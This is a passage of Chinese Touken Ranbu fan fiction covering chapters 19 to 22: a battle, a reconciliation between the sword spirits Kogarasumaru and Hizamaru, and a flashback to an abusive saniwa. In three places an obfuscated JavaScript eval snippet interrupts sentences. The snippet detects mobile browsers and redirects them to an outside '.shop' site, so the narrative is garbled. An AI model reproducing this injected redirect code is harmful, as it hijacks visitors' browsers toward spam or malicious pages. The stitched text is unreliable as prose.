“队长是髭切大人?”听到这样的出阵名单,小乌愣了愣,随后眼睛瞬间就亮了起来,他下意识地看向髭切,正好得到了对方投过来的一个微笑。 压切长谷部对于这种情况没什么意外的,只是他那张看向髭切的脸上表情极其严肃,并且再次叮嘱道,“髭切,任务紧急,这次就交给你了。” “嗯,我明白,”髭切点点头,然后脸上露出了些许回忆的神情,“安排我来做队长啊……这样很容易让人回想起过去呢。” 髭切走向时空转换装置,看向这次全部的队员,“那么,大家要一起出发了哦。” 小乌立马精神振奋地应道,“是!” 这一次不仅是能和髭切大人一起出阵,还能被髭切大人领导着……小乌整个人都是一副铆足了劲的态度,他这一次务必要让髭切大人看到他的成长和实力! 他看向就站在髭切身边正在说些什么的膝丸,然后在心底暗暗地下定决心,这么好的机会,他一定不能表现的太差! 要加油! 要努力! 执行任务的完成度也不是光靠单纯的实力就可以决定一切的,小乌收回目光,垂在身侧的拳头握紧,决心似铁,他这次一定要做到比膝丸更厉害! 嗯! 他一定会做到的! 19.第 19 章 六人到达过去时,并没有在第一时间就找到时间溯行军的确定行踪;为了确保这次的任务不出意外,队伍在后面兵分两路,分别负责敌对双方的情况。 小乌和山姥切国广作为一组负责敌对方的行动,也就是在这次战争中作为失败者死亡的一方,负责监视他们是否有可疑的行动,谁也不确定时间溯行军会怎么动手。 小乌侦查完回到两人约定好的位置汇合,山姥切国广比他更快,已经在那里等他了,“我这边没发现什么异样,山姥切,你这里有什么发现吗?” 山姥切国广摇了摇头,一边沉声道,“可能这次他们的重点不在我们这边,没问题的话我们就只要等到时间节点和其他人汇合就行。” “要等着汇合之后才有可能遇到敌人吗?”小乌皱着眉,“长谷部他是有说过这一次侦测到的时间溯行军规模不小,会相当麻烦吧。” 听到这句像是担忧和确认的话,山姥切国广心头微跳,他立马就联想到那边的髭切和膝丸,开口严肃警告道,“就算是危险也不可以乱来!我们现在不能擅离职守。” 小乌被他这个态度也惊了一下,他低头看了一眼他那扒拉着自己手臂的手,其实有些不明所以,“我明白,又不是第一次执行任务,我怎么可能会犯这种错误?” 这么说的话也对,山姥切国广松开手,然后默默地移开了头,“没有就好,我只是为了提醒你不要忘记我们现在在干什么。” 嗯…… 算了,还是不说什么其他的事情了。 “放心,我不会乱来的。” “……嗯。” * 时间一点一点的流逝,直到战事即将开启的时间节点的到来。 “等等,”山姥切国广原本不大的声音陡然间严肃起来,“小乌,你看那里!” “嗯?”小乌看着那在他眼前一闪而过的蛇骨短刀,微微睁大眼睛,“是溯行军!” “追!”终于找到他们的踪迹了,山姥切国广当机立断道。 小乌应声,“好。” 只是,他追上前时回头看了一眼这处已经在做战前准备的营地,“山姥切,你说他们是不是故意地想要将我们引开,然后好行动再准备做些什么?” “嗯,我也觉得有些不对,总觉得是故意出现在我们面前,如果情况不对,我会及时收手退回来保护好自己,但总要调查他们为什么会出现在这里,又想干什么。” 山姥切国广正好说着又顿住,“小乌,不如你留在这里和他们一起出发,时间节点很快就开始了,如果溯行军有什么安排,说不定髭切他们也已经赶到了。” “这种事情……”小乌皱起眉思考着这个建议,动作不停跟上,“不行,那个方向贴近战场,如果真的有溯行军,数量和实力未知,如果是故意的,你会很被动。” 见他还要说,小乌打断道,“我知道你实力很强,但也不能不顾及自己的安全,再者,这里左右都是输家,说到底,最后这场战事的胜败才是最重要的结果。” 山姥切国广在微许沉默之后加快了速度,最后只是轻飘飘的留下了一句平淡的话语,虽然是事实,但就是莫名的气人,“你说的不错,加油跟上,我先走了。” 小乌:“……” 听出来他是有意说出这句话的小乌微笑,可恶,这家伙什么也变得蔫坏起来了。 啊,这次他出阵没有带望月出来,不如干脆就趁着现在先去抢一匹马吧,不,还是算了,现在这种时候还是不要再闹出什么骚动。 这次就这样吧,而且如果不确定当场的情况,也不能硬着莽过去,真要骑着马的话,在这种地方他也不好隐蔽起来,小乌在心底深深舒了口气,然后尽快跟了上去。 * 小乌看到了在一旁躲藏起来按兵不动的山姥切国广,放轻动作,潜行到他身边,在这个位置一眼就看到了令人头皮发麻的一幕。 “这个数量……怎么会这么多!” 所以从一开始,他们都只是打算集中全部力量直接参与进战事里来扭转败局吗? “不管是多少,我们都要将他们全部剿灭,任务必须成功。”计算着时间点,以及周围四处看过来的视线,山姥切国广的眸子变得凌厉起来,“小乌,要战斗了。” “啊,我明白了。”这就是将他们引过来的目的吗?提前以数量的方式解决掉他们?两方交战,髭切大人他们应该也快到了,坚持下来应该没问题。 不,不对。 就算是不行也要坚持下来!两个人再如何也比一个人要好。 这还是小乌第一次碰到这种规模的时间溯行军,数量上的压制让他的心情难免更加凝重,一对多,身上已经多了不少伤口。 和他比起来,在他身边的山姥切国广身上也好不了多少,他已经闻到了身后的血腥味以及喘气声,或许这中间也还有自己的在。 “小乌!你还好吗?”山姥切国广的声音里难掩担忧,小乌的练度比不上他,现在这种程度的战斗……不行,自己可是本丸里的前辈,不能让他在这里出事。 接下大太刀的一击,刀刃压迫在肩膀处,咬牙将大太刀挑开,山姥切国广则是趁此空挡的机会收割下大太刀的性命,小乌这才舒了口气紧了紧手里的本体。 “我没事,你就放心应对眼前吧,不会让你的后背出问题,我还不至于在这种事情上掉链子,要是真的这样失败了,那可就真的是太给髭切大人丢人了……” 这种时候还在说这种话……但是他们没办法离开,不说从刚刚开始就已经被包围了的现状,就算是没有被包围,他们也得坚持下来。 这个数量的溯行军就算是一队整编全部在场都是会令他们感到棘手的存在,时间节点已经到了,他们两个一旦脱离战场就意味着压力全给到了其他队友身上。 他们在里面是牵制,脱离之后在外面就只能是被牵制,两者的意义完全不一样。 想说什么,最后也只能道,“……坚持住。” 有兵器交接打斗的声音响起,两人眼前一亮,到了!是到了吧! 谦信景光的小身板先一步窜进来确认了他们的情况,“啊!你们没事吧?!” “原来你们已经到了啊,竟然被打得这么狼狈。”髭切随后也杀了过来,看到两人的情况之后眼底的笑意也都收了起来。 山姥切国广立马道,“髭切!别废话了!现在可不是该聊天的时候。” 小乌的眼神逐渐变得激动起来,“髭切大人!你……小心右边!” 髭切也发现了突袭过来的短刀,接下了攻击,随后由谦信景光近距离袭杀了它,“嗯,我们来了,将我家的孩子打成这样,的确不能轻易放过你们呢。” 队友赶了过来,他们的压力顿时就减轻了不少,虽然现场依旧混乱,但队友间精妙的配合,也让战斗轻松了不少,当然,疲累是少不了的。 时间溯行军数量的庞大,以及他们在这个时代造成的影响,以至于天空的中心被一阵惊雷从中劈开,怪物从中出现。 ——检非违使,到了。 他们毫不犹豫地向溯行军发动攻击,同时不分敌我的对他们进行攻击,面面相觑之间也不知道究竟该说这是好事还是坏事。 好事是,溯行军不需要他们解决。 坏事是——他们可能也有没了。 膝丸在第一时间将小乌护在了身后,小乌的练度比不上他们,再加上还受了伤,应对实力更加强悍的检非违使只能说是必败的结果。 最好的办法就是撤退,但现在这种三方混战的情况下,他们中间不止一个被战斗牵制住,那就只能继续留下来共同战斗。 “你不用一直保护我,”小乌咬唇,他冷静下来,“我自己可以躲开检非违使,利用溯行军应对检非违使也可以,别被我拖慢了你的进度。” “我知道,但你现在这样给我在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049349|132317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一旁策应就好,我相信你。” “……我知道了。” 做好自己该做的事情,小乌绝对不允许自己在这种时候给其他人拖后腿,虽然事实就是他的实力和检非违使有一段距离的差距。 可恶——没能让髭切大人看到他的厉害,结果还是变成了需要帮助的一方,在遇到真正的问题时,果然实力果然才是最重要的。 * 这是一场绝对混乱的战斗,但最后以他们的胜利结束了一切,昏沉的天空依旧昏沉,但天空中的裂痕已经消失,到头来,竟然是自己和谦信景光伤的最轻。 ……好没用。 好没用好没用……真的好没用! 小乌小心翼翼地扶着他们,谦信景光开始调整转换装置,然后迅速地,他们就回到了本丸。 早早就已经在关注并且事态发展严重的清月等在转换装置附近,在小乌等人回来之后就立马叫人给他们扶到了手入室。 松开了自己扶着髭切大人和膝丸大人的手,小乌终于松了口气。 终于回来了,接下来交给主公就没事了吧。 “小乌!你也别在那里站着,手入室手入室,你也赶紧自己过来啊!” 小乌立马反应过来,“是,主公,我这就来。” 看着手入室里一个个也不知道是究竟是因为受伤还是累到睡着的,谦信景光也被自家监护人紧张地检查了一遍又一遍,然后将精神紧绷的短刀给整睡着了。 那这就是没办法的事情了,就这么一个还清醒着的,清月只能道,“小乌,一会儿你过来和我汇报一下这次的出阵情况。” 小乌:“……” “是。” “但是主公,我,还有山姥切和髭切大人他们一开始是分开行动的,髭切大人那边一开始的情况我并不清楚。” 清月点头,“好,我知道了。” * 小乌其实很累,但小乌又根本睡不着。 本体被清月简单的做过手入之后就放在了一旁,修复池有限,像他这种受伤不是最严重的,自然是需要等一等,他也不是短刀,没有那么简单的被修复。 髭切醒来的最早,他一醒过来就看见了坐在他和膝丸中间不知道在想些什么的小乌,抬起手将他原本就低着的脑袋拍了拍,温声道,“把本体拿过来吧。” “髭切大人……”小乌突然起身,然后对着髭切的方向就来了一个请罪的土下座姿势,“都是因为我的原因,才让膝丸大人受了这么重的伤。” 髭切侧过头,将半边身体探了出来,用自己的手将紧紧低下的头抬了起来,眼角的泪痕暴露在他面前,“你又哭了啊,你也很喜欢哭鼻子,这次是因为哭哭丸吗?” 小乌这种时候也不别扭了,他连连点头。 髭切虽然受了伤,但是现在的心情可以说是还不错。 看着自家孩子成长起来有所改变的心情可以说是相当好,“要是你能直接哭给他看的话,他会更加高兴,弟弟做事情一向喜欢直接一点,你也明白的吧。” “小乌你是我们家的孩子,在没有成长起来就安心享受我们的保护就是,这次做的就很不错啊,敌人的数量和实力空前强大,大家都能全部回来就已经很成功了。” “我这个队长完成了任务,你这个队员也做的很不错,不信你听听,弟弟醒过来一定会狠狠地夸你,还有山姥切,记得询问一下山姥切对你的意见怎么样?” 髭切看着还未醒过来的打刀,“他可是经验相当丰富的刀剑哦,他的认可也是相当有分量的呢。” “髭切大人怎么知道我的任务完成的没有问题?”明明都没有看到。 髭切哈哈一笑,反问道,“难道你觉得自己做得不够好吗?” 小乌:“……” 他撇开头,“……才不是。” 目光落在膝丸脸上,他抿唇,他只是单纯觉得膝丸没必要那样保护自己。 20.第 20 章 膝丸受的伤让他在第二天下午才能醒过来,一睁开眼就是在手入室里,他当下就松了口气,回了本丸也就意味着现在已经安全了,说起来,任务好像是成功了吧? “膝丸你醒了!”惊喜的声音在一旁响起,手臂处有着轻轻地触碰感,眼前就在突然间窜出来一张熟悉的脸,脸上的高兴可以说是都快溢出来了。 膝丸心情有些异样地眨了眨眼,“小乌?你没事了啊。”随即立刻询问道,“对了,兄长他怎么样了?”虽然小乌待在自己身边,兄长不用说都是没事。 “髭切大人昨晚就醒了,没什么事情,后面我就让髭切大人回部屋休息了,现在应该还在部屋里休息,”小乌如实说着,但在说完停顿之后撇开头补上一句,“反正没有你伤的重。” 兄长没事,太好了,膝丸松了口气,“那就好。” 对于小乌后面那句话,他没怎么在意,反正已经习惯了他时不时对自己的阴阳怪气,不算什么。 “任务怎么样?”膝丸要坐起身,小乌立马伸手扶住了他,“主公说没问题。” 看着那张又变得严肃起来没有了笑意的脸,膝丸不解道,“既然任务都已经完成了,你现在怎么还不高兴了?” 小乌立马道,“没有,我很好。” 膝丸还是觉得不太对,“那你……” 似乎是不知道该怎么回答,小乌就转移了话题,“你饿了吗?” “嗯?”话题被岔开,膝丸盯了他一会儿,然后也没说什么,“啊,你这么一说,我现在倒是真的感觉有点饿了。” 小乌立马道,“我现在就去给你准备些吃的。” “欸?”膝丸疑惑地看着机动拉满跑掉的小乌,眼里露出了疑惑,“他这是怎么了?” 总觉得小乌他有哪里不对。 嗯…… 膝丸低头深思着,到底是哪里不对呢?自己才刚醒过来,也没办法做什么事情来惹他吧。 * 小乌快跑着离开了手入室,虽然他的确有着转移话题的想法,但问题也是真心的,当然,还有一种逃避,他迅速跑到了厨房,正好碰到了在厨房里说着话顺便清理厨房的山伏国广和太鼓钟贞宗。 太鼓钟贞宗意外道,“小乌?你怎么来了?你的伤势不用好好休息的吗?” 山伏国广也笑着关心道,“是啊,好好休息伤势才能恢复地更快。” “多谢关心,我的伤和他们比起来很轻,没什么太大的事情,”小乌回复道,然后继续往里走去看有没有什么吃的,“我来拿点吃的,膝丸他已经醒了。” “真的吗?终于醒了,那可真是太好了!”太鼓钟贞宗眼里露出欣喜,“话说,你们这次的任务实在是太惊险了,听谦谦说你们这次遇到的敌人数量真的特别多,幸好任务成功了,你们也没事。” 确实是相当危险的任务,不过听到这里,小乌想起了任务时一直和自己在一起的山姥切国广,他的伤势也很重,回过头看向山伏国广,“山姥切他怎么样了?” 山伏国广笑了两声,“兄弟他现在还在部屋睡觉,放心吧,主人已经给大家都处理过伤势了,接下来我们只要等他慢慢恢复就好了,我想,膝丸也是一样。” 小乌看着那张相当开朗的笑脸,点头应声,“嗯,我知道他没事。” “不过我还是得赶紧回去,不能让他被饿到了。” 他的动作得尽量快一点,不然要是被膝丸误会什么就不好了。 他现在不想被膝丸误会自己阴阳怪气不重视他,虽然膝丸他并不会直接说出来就是。 找过厨房,最后没有找到想要的,也是,这个时间又不是吃饭的时间,没有也正常,糕点什么的他觉得不太适合,小乌犹豫着关上柜门,然后决定自己做。 早已经不是所谓厨房杀手的他,现在做些简单的食物也是没什么问题。 希望自己的手艺不要突然翻车,还有膝丸他也不要嫌弃吧,他现在也不好去打扰别人特地做饭。 * 灼灼目光停顿在他身上,十分不自在的膝丸无奈叹气,看过去和小乌对视上,眼里映出那道和自己一般无二的眸子,在小乌移开目光之前道,“小乌,你怎么了?为什么要一直这样盯着我?” 膝丸往前回忆,他自从醒过来还什么都没做过,至于之前,战场上还能发生什么事情?他实在是想不明白小乌那个脑子里究竟是在想些什么,又在在意什么?嗯,不是一般的奇怪。 竟然被这么直接问出来了,小乌略作停顿,也是,膝丸在他这里一向都是那种直接的性格,想通了之后也就不再隐藏自己的心思,心底深吸一口气,他认真道,“你为什么要那样保护我?” 他不理解,真的不能理解。 在那样的情况下,还浪费精力放在自己身上,明明是任务和他自己更加重要才对。 膝丸愣住了,但他看着小乌那张脸上无比认真的表情,一时间竟然也不知道自己究竟该说些什么好了,他略微顿住,在小乌十分集中的注意力下,他道,“因为……你比我弱?自然需要我保护。” 小乌:“……” 集中注意力下得到的结果竟然是这样的结果,他垂下头,就连对方说自己弱的事情也没有反驳。 他坐在一旁低下头,心情明显低沉,“膝丸,你就不能认真一点吗?” “我是认真的,我真的不能理解,你要是真的出事了,还是因为我,髭切大人那里……” “就算是我没办法代替你的位置站在髭切大人身边,我也不能允许自己成为髭切大人失去弟弟的原因,那样你要我……” 后面的话他没说出来,但那双不平静的眸子此刻在膝丸眼里无比清晰地在颤动着,要是让髭切大人因为他的原因失去最亲爱的弟弟,不是被髭切大人给砍了,他也只能自己去跳刀解池来结束自己。 膝丸皱起眉,脸上的表情逐渐严肃起来,他凝声道,“小乌,抬头,看着我。” 小乌犹豫着抬起头,但想着又要移开脑袋又被膝丸直接伸手给掰了回去,“你别躲!” 那双眼睛里的情绪是近乎从未有过的严厉,“你说这些是在看不起我?还是在看不起兄长?” 怎么可能?!他没有!小乌睁大眼睛,“我没有!我只是……” “只是什么?”见小乌现在不说话,膝丸沉默着收回了手,满脸失望道,“果然,你就是在把我当成外人,随便你怎么想了。” 看着膝丸将他的手拿开,小乌有些慌了,不知道自己究竟该怎么办,怎么会这么严重?明明髭切大人昨晚什么都没说。 不,也不对,髭切大人说过了。 他说,要自己对膝丸更直接一点,应该就是这个意思。 小乌闭了闭眼,“我,我担心你!” “我没有把你当……外人,我……我只是……” 他小心翼翼的抬头,却得不到膝丸的一个眼神,更是看不出来膝丸此刻最真实的想法,小乌意识到膝丸可能真的生气了,心底的慌乱之间又强自冷静下来。 膝丸真的不理他了吗?或许就是他平时说话做事对膝丸阳奉阴违的态度让膝丸布满了。 可是……想到什么,小乌的眼眶在此刻就不自觉地红了起来。 等半天没等到后面接下来的话,只听到了一阵低低的抽野声,膝丸僵住回看,“你……喂!小乌你别哭啊!”他瞳孔震惊地看着眼前这一幕,恍惚了一下就开始哄人,“我不是那个意思……” 事情到底为什么变成这样?膝丸也不知道自己现在究竟是该开心还是不开心。 这糟心孩子终于是能直白一点的向他表露关心了,但这哭起来到底要怎么才能哄好, 苦恼间也就只能顾得上眼前不停地哄人,任由小乌因为不好意思埋在他腿上的动作,也就自然看不到某个太刀微微抿起带着点弧度的嘴角。 闷在腿上发出的沉闷声音,“膝丸,我喜欢你。” 这么直接的表达,直接让膝丸震惊到睁圆了眼睛! “你真的是个很好的人,你那样对我,我也根本没办法对你视而不见,我确定我在乎你,我真的害怕,不是因为髭切大人,只是我不想看到你碎刀,我会难受,我会很难受。” 被这种直球打过来总算是反应过来的膝丸发问道,“还在哭吗?”腿上的压力用重了几分,膝丸微微勾唇,伸手轻轻地抚摸着小乌的后脑勺,“这次的战斗你也做的很好。” * 差不多是一个星期之后的时间,此时的膝丸整个人都是无精打采地趴在桌子上,然后发出一声漫长的叹息声,惹得髭切挑眉看过来,他眨了眨眼,似乎是在思考,“唔,那个……” “是膝丸,兄长。”再熟悉不过的前奏,膝丸又叹了一口气,然后十分熟练的应答道。 髭切点头,“嗯嗯,好像就是这个。” 膝丸:“……” 膝丸感觉到自己的心好累,“兄长,不是好像,我现在的名字就是这个。” “嘛,这不重要,”髭切露出笑容打量着眼前的弟弟,“嗯,是发生了什么呢?怎么这么无精打采的,难道是最近太累了?” 膝丸沉默,然后想起了小乌对自家兄长一直都是那样尊重的态度,眼里在突然间就露出了求知欲十足的渴望,“兄长,你到底是怎么承受小乌对你的那副态度的?” “什么?”髭切疑惑,髭切不解,“小乌对我的态度有什么问题吗?那孩子一向都很乖啊。” 膝丸:“……” 行了,白问了,膝丸叹气,他的眼里露出了再明显不过的苦恼,那天之后,这段时间小乌对他关心的太过了头,以至于膝丸哪哪都觉得不对劲,“兄长,我还是觉得他以前那个样子就很好。” 髭切没觉得有什么地方不对,他只是微笑道,“那孩子应该很想和你好好相处。” “我们之前也一直有在好好相处啊!”膝丸的额头撞在桌子上,又叹了口气。 “兄长,还是你好,不用考虑这些。” “哈哈,嘛,要怎么办呢?弟弟,那孩子那天抱着你哭得可伤心了。” 膝丸:“……” “怎么办啊,我也不知道。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13147327|132317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>髭切想了想,他弯起眉眼笑道,“不如和以前一样,怎么样?” 膝丸愣住,他对髭切露出了求知的表情,“兄长有什么想法?” “将他欺负哭,就好了。” 膝丸:“……” 虽然有些缺德,但不得不说,这应该是有效果的。 “兄长,真的没有别的办法了吗?” “有吗?我也想不起来了呀。” 膝丸:“……” 有了,让小乌去帮他做畑当番吧,一次,两次,三四次;或者他去像家主提议让小乌做畑当番,一次两次三四次,为了他们更进一步的关系,家主不会拒绝他。 要这样还能继续忍耐下去,那就不是一般的问题了! 没错,就这样行动。 虽然得到小乌的真心表露他很开心,但他们之间的关系果然还是正常一点的好,那样玩……咳咳,那样相处起来才更舒服。 * 事实也的确如此,再一次接下了自己畑当番的内番工作之后,小乌彻底笑不出来了,从主公那里得到了原因之后,小乌在继续忍耐和无法忍耐之间义无反顾的选择了后者。 他黑着一张脸将膝丸拉到了田地那边,然后将自己的工作全部都交给了他。 在膝丸一边抱怨一边笑着的注视下,他直接就溜了,可恶,他不干了! “竟然要挟我还准备逃番了呢。” “谁提议,就谁做吧!” “那还是逃番啊。” 小乌捂住耳朵,一个劲儿的摇头顺便跑开,“不听不听我听不到!” “那好吧,我们交换,别忘了我的任务。”膝丸大声提醒道。 小乌也没回答就直接跑了,但最后还是没有忘记膝丸的任务。 “加州。” “小乌?” “我来帮你吧,”在加州清光意外的注视下,小乌解释道,“我和膝丸交换了工作。” 加州清光点头,也没多问别的,就将自己这部分要清洗的分了一半给小乌。 小乌开始干活,因为膝丸的骚操作让他愈发不忿,再加上这么一件脏衣服在盆里,他不由得加大了错衣服的力道,一边碎碎念着,“这个怎么这么脏?” 一点也不好洗,事实也的确如此,随着明显的刺啦一声,小乌停下继续洗衣服的动作,加州清光不由自主地停下动作,一起看向小乌手上那件白色的“衣服”。 “加州,这个是……?” 加州清光沉重道,“这是山姥切披在身上的被单。” 小乌:“……” 嗯……他会被打吗? 会、会的吧,本来就是自己有错在前,小乌自然心虚。 他拿着手里的被单,心念一转,认真提醒道,“加州,今天的被单都是膝丸洗的。” 加州清光:“……” 他其实从自家主人那里也知道膝丸的请求,所以,你们两个这闹得,真的不是有仇吗? 害—— 或许这就是另外一种特殊的关系好的相处方式吧。 “好吧,我知道了。” 他就当没看见,反正名单上写的是膝丸,其他的都和他没有任何关系。 不过任务结束之后遇到了刚刚远征回来的髭切,为了防止源氏关系破裂随后在本丸内部发生斗争,他还是提醒了一下髭切。 “哈哈,没想到远征回来就听到这样有意思的事情,他们的关系真是越来越好了呢。” “明白了,今晚就和他们好好地庆祝一下吧。” 加州清光:“……” 得了,他就不该多嘴。 * 虽然今天白天遇到了诸多不顺,其实并不算是什么值得庆祝的日子,但髭切大人竟然都这样对他们进行邀请了,那么,今夜要陪着髭切大人一起喝酒的任务那就是必须要做的事情。 小乌十分认真。 膝丸莫名头大。 事实上也的确如此,似乎是因为提前有了远见的膝丸看到了自家兄长在喝酒时的毫无节制,以及陪着兄长一起但酒量却完全比不上兄长很有可能先一步倒下的小乌。 “小乌真乖,我们一起再来一杯。” “是!” 膝丸:“……” 膝丸叹气,这傻孩子难道就不知道拒绝兄长的吗? “弟弟?”髭切的声音响起。 膝丸立马应道,“好的兄长。” 咳——才不是因为没有办法拒绝兄长,只是单纯地因为他的酒量根本没有那么差。 你说克制,这没有必要。 在一番小小的混乱之后,两个人闹得不可开交,等到最后的最后,髭切看着桌子上已经趴下的两个,将自己手上拿着的酒壶里面最后一点给倒进了酒杯里,他一口浅浅地尝了尝,最后一饮而尽。 “嗯,结束了啊。” 然后一起趴下,就准备这么一起睡过去。 身旁有呓语从口中缓缓溢出,不止一道,髭切闭上的眼睛在几分钟之后又重新睁开,他起身,“还是再继续喝点好了。” 21.第 21 章 他是被审神者厌恶着的存在。 ——从锻刀炉里成功显现见到那个应该被自己称作是主公的女人,在看到那张脸上明晃晃的不耐和厌恶时就已经深刻地认识到了这一点。 但是为什么? 他此刻只有满心的不解,既然不喜欢自己,就该同意自己自行刀解的请求才是。 被灵力打伤,小乌苍白着一张脸站在一旁,看着她对一个有着棕色头发的小孩子说着对自己接下来的安排,看着那个小孩子认真地点头应下,眼里是被给予信任的兴奋神采。 微微垂眸,小乌对自己不被待见的未来并没有多么大的心绪起伏,不被待见是他从一开始就已经做好了的准备,虽然自己做好准备的这个对象并不是审神者,可如果只是这样并不会让他感到如何。 审神者对那个小孩子叮嘱完事情之后,目光重新落在了他身上,即使是这么难得的一句都显得尤为不耐烦,“把你的本体给我。” “……是。” 不知道她想要做什么,可审神者既然下了这样的命令,他也没有拒绝的权利,只能取下腰间挂着的本体,然后递给了站在他面前的人类。 已经被什么东西给盯上了的感觉。 审神者就这样拿着他的本体离开了锻刀室,留下来的只有那个棕发的小孩子。 和审神者的冷漠和厌恶不一样,这个孩子对他的态度更多的还只是好奇,那双棕色的眸子落在他身上,但似乎又碍于他并不随和甚至有些冷漠的态度又不知道应该说些什么。 一路上就是和自己叮嘱了一些和审神者有关系的事情,然后告诉自己他们的审神者其实是个外冷内热的人,只要做好自己的本分就会很宽容的一个人。 小乌看着这个小孩子模样的短刀说着说着就不自觉一脸兴奋起来的表情,还是没有多说什么,因为没有那个必要,他清楚地看到了那个人类在他显现时那张脸上露出的厌恶,和本分与否并无关系。 棕发的小孩子在中途被一个蓝发的青年给叫走了,对方没有多说什么,只是在眼里对他露出了歉意的神色,伸手给他指了一个就在附近的房间,并且告诉他那里就是他的部屋。 小乌没有多说什么,他点点头便朝着他指着的房间走过去,在门口停下。 可随后一推开门,一股血腥味扑鼻而来,让他站在门口不自觉地愣了愣。 “谁?”冷厉的声音从里面传过来,另外一双和他相似的眼睛看过来,小乌扶着门的手一顿,他很明显地看到了那双眼里同样的停顿,最后两双眼睛都同样落在了彼此出阵服上的刀纹上。 有些激动的心情在瞬间消弭,他看见了那双眼里的复杂神情,心情也是一样的复杂,微微抿唇,眼前这振刀剑的身份呼之欲出,“您是膝丸大人。” 竟然是膝丸。 “嗯,”膝丸不知道究竟是什么心情,只是没什么情绪的应了一声,随即看他还站在门口没有动静便喊道,“她让你来这里的?你进来吧。” 小乌扶着门框的手紧了紧,然后面容冷静的走了进来,“是。” 走进部屋,他看了一眼屋外,随后顺手带上房门,靠在门后打量着部屋的陈设,这里好像只有膝丸一个人在,膝丸似乎是明白了什么,直接道,“兄长还没有来到这个本丸。” 被点明了自己的心思,小乌一怔,是这样吗?原来髭切大人还不在吗? “是。” 膝丸皱眉道,“你除了这个字就不会说些别的了?” 他还没有想好怎么和这个新来的刀剑相处,就已经被他这副恭顺的态度搞得相当不自在。 听他这么一说,小乌直接就闭上了嘴。 “……” 爱听不听。 气氛有些沉寂,膝丸见他这个态度也不说话,小乌现在也不知道自己应该做些什么,不过眼前的这位毕竟是膝丸,看着他身上的伤,想了想还是缓步上前,在膝丸身边蹲下身,“您的伤,让我来帮您吧。” 或许是个可以打破沉寂的开口,膝丸点点头,没有直接拒绝他的好意。 然而,“嘶——” 听到这声音,小乌手一抖,膝丸连忙躲开,“你……算了,我自己来就好。” 这件事情的确错在他,小乌低头道歉,“抱歉,我不是故意的。” 膝丸看起来对他有些头疼,但最后还是什么都没有说,“你才刚刚显现,不熟悉这些事情也是应该的,以后就好了。” 膝丸一边给自己包扎伤口,一边用余光打量着坐在一旁有噤声的小乌,目光在他空荡荡的腰间顿住,脸色立马变了,一把握住他的手臂,沉声道,“你的本体呢?” 小乌一惊,但是没敢躲,他担心自己突然间是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13200986|132317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反抗会扯到膝丸的伤口,虽然心里不太愿意被这样握着,可终究还是忍耐了下来,他如实道,“一来被……审神者拿走了。” 膝丸敏锐的察觉到了他的称呼,一双相似的眸子意味深长的盯着他,缓缓放下自己的手,最后只是脸色阴沉的盯着他的腰侧。 这种情况实在是太不对了,“怎么了?” “审神者讨厌我,”膝丸直言道,“哦,现在或许还得再加上一个你,现在你的本体在她手里,你自己觉得会发生什么?” 他看着小乌皱起的眉,继续道,“比如,就像我这样。” 小乌下意识的看向自家刚刚看到的刀剑,那个应该就是膝丸的本体吧。 可膝丸这句话,“难道您的伤是……” 小乌皱眉,就算是他对膝丸没什么太多感情,可对那个人类这样的做法他依旧是不满的,“她怎么可以这么做?” 膝丸的心情看不出来这中间最为真实的情绪,“她是审神者,她有什么不可以做的?” 最后着重道,“你不该将本体给她。” 小乌顿住,然后偏头道,“您也说了,她是审神者。” 给都给了,现在也就无所谓了。 “左右不过是碎刀的结局吧。” 膝丸看着刚刚显现的太刀,有些感念于他的天真,“本体在她手里,你觉得自己有选择生死的自由?” 小乌不明白,他紧紧皱着眉思考着这件事情,“她的确讨厌我,但是为什么?我……” 然而就在下一秒,小乌瞳孔骤然一缩,身体上突如其来的一阵剧痛让他下意识的伏撑着地面。 痛!浑身都痛!是本体那边,审神者…… 已经不知道痛意来源的部位是在哪里,只是单纯希望自己不要搞得太狼狈,他双手颤抖着支撑起自己。 看到这一幕,膝丸从面无表情的看着,然后上前在那道被汗水模糊起来的目光下,直接一个手刀将小乌打晕了过去。 看着那道依旧紧皱的眉,就这样缓缓向前伸手放在了他的脖颈间,冷漠的眉眼在最后终于松下来,他抿了抿唇,还是放开了手。 还是算了。 自己也没有替他做决定的权利。 不过这么睡着的确有点寒碜,膝丸起身将被子抱了出来,然后也没做别的,就是简单的给他盖了层被子。 22.第 22 章 茶金色眸子在黑夜里睁开,身体已经没事了,就连之前在锻刀室被灵力击伤的位置都已经被恢复,但是疼痛还未缓解,小乌坐起身微微喘着气,之前感觉到的痛苦不是假象,不用多说就是本体那边出的状况。 而且有个问题,既然她讨厌自己,为什么又要给他恢复伤势? 